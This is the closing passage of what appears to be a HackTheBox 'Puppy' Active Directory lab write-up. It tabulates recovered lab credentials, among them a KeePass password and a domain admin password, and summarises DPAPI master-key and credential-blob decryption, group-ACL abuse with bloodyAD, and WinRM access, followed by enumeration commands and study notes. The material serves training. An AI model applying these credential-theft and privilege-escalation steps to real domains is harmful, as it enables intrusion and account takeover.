0xd9a570...e9c84 | Decrypted steph.cooper’s Master Key file with the SID and the password above | dpapi.py credential | Decrypted Master Key result. It is a key for decrypting a Credential Blob, not a logon password. |
steph.cooper_adm / FivethChipOnItsWay2025! | DPAPI-decrypted Enterprise Credential Blob belonging to steph.cooper / PUPPY.HTB\steph.cooper_adm | getTGT.py | WinRM access and reading Administrator\Desktop\root.txt succeeded |
KeePass also contained unverified entries for JAMIE WILLIAMSON / JamieLove2025!, ADAM SILVER / HJKL2025!, STEVE TUCKER / Steve2025!, and SAMUEL BLAKE / ILY2025!. Do not infer AD accounts from display names and reuse them. HJKL2025! failed for adam.silver, and neither the target accounts nor validity of the other three were confirmed in this record.
| Artifact | Confirmed contents |
|---|---|
recovery.kdbx | A 2677-byte KeePass database obtained with DEVELOPERS read access. Its password was liverpool. |
site-backup-2024-12-30.zip | A 4,639,546-byte backup readable from C:\Backups. It contained steph.cooper’s LDAP bind password. |
| DPAPI Master Key / Credential Blobs | One Master Key and two Blobs associated with steph.cooper’s SID ...-1107. Only the Enterprise Blob yielded the next domain password. |
| user flag | C:\Users\adam.silver\Desktop\user.txt: [REDACTED] |
| root flag | C:\Users\Administrator\Desktop\root.txt: [REDACTED] |
Required Knowledge
Section titled “Required Knowledge”- Read AD in terms of writable attributes, not a “tool path.” Examine
member,servicePrincipalName,userAccountControl, group membership, and ACEs on the target object. Verify separately which attributesGenericWriteaffects and over whomGenericAllis held. - Separate authentication from authorization. SMB credential success, the KDC’s
KDC_ERR_CLIENT_REVOKED, a missing WinRM ccache, and the Remote Management Users relationship are distinct observations. For Kerberos, use the error message to identify whether the FQDN, realm, time, or ccache is missing. - Examine shares made readable through group membership. Finding the share name is not enough; enumerate the ACL again after the membership change and confirm
READ. In a development share, prioritize recovery databases, configuration backups, and deployment artifacts. - Read stored credentials in layers. Do not stop at
Credentials: connect the Blob’s Master Key GUID,Protect\<SID>, and that user’s password/SID. Local and Enterprise Blobs differ; decrypt both and use the output to determine their purpose. - A short CPTS review checklist. After a foothold, inspect stored credentials/Credential Manager, DPAPI
CredentialsandProtect, backups, PowerShell history, application settings, services, scheduled tasks, and writable paths in light of the current user’s rights and file ACLs. From the large output of enumeration tools, focus on actionable observations such as Master Keys, credential files, service/task paths, and writable locations.
Final Thought
Section titled “Final Thought”The essence of this box was connecting each observation to the next action, rather than merely following a standard BloodHound -> bloodyAD -> Impacket sequence. In AD, ACLs differ by target attribute, so verify each graph edge through an LDAP write and subsequent read. At a Windows foothold, even weak token privileges may still allow movement across another permission boundary through directory names under C:\, backups, application settings, and DPAPI data in user profiles. When names such as C:\Backups, C:\inetpub, and C:\StorageReports appear, examine meaningful narrow areas before searching the entire drive.
Failures can also distinguish layers rather than disprove the path. Lack of KDBX4 support was a tool compatibility issue; KDC_ERR_CLIENT_REVOKED reflected account state; No Kerberos credentials available reflected ticket selection; and the Evil-WinRM download exception was a transfer implementation problem. Recording the error string, target attribute, and successful prompt or reread together makes the same misdiagnosis less likely next time.
Evidence to collect again
Section titled “Evidence to collect again”- Retrieve
levi.james’sDEVELOPERSmembership before the change, the raw BloodHound ACEs/query, and LDAP evidence ofadam.silverandsteph.coopermembership in Remote Management Users. - Capture successful stdout from
getTGT.pyafter enablingadam.silver;whoami,whoami /groups, andwhoami /privin the finalsteph.cooper_admsession; and the Administrator Desktop ACL. This would establish the final privileges precisely. - After cleanup, read
DEVELOPERSmembership andadam.silver.userAccountControlagain. The original password was not recorded, so do not claim successful restoration without an administrator’s known value or a box reset. - Capture
keepass2john --version,keepassxc-cli --version,command -v keepassxc-cli kpxc-cli, the archive extraction command, and the time difference from Puppy itself. This would make tool compatibility and the Kerberos time correction reproducible.
These commands were not run in this log. When collecting evidence again, run them and save the output. Run the first two while ant.edwards still has the necessary rights and the remaining four in the final WinRM session.
bloodyad -d puppy.htb --host dc.puppy.htb -u ant.edwards -p '<current-password>' get membership levi.jamesbloodyAD -d puppy.htb --host dc.puppy.htb -u ant.edwards -p '<current-password>' get object adam.silver --attr userAccountControlwhoamiwhoami /groupswhoami /privicacls 'C:\Users\Administrator\Desktop'
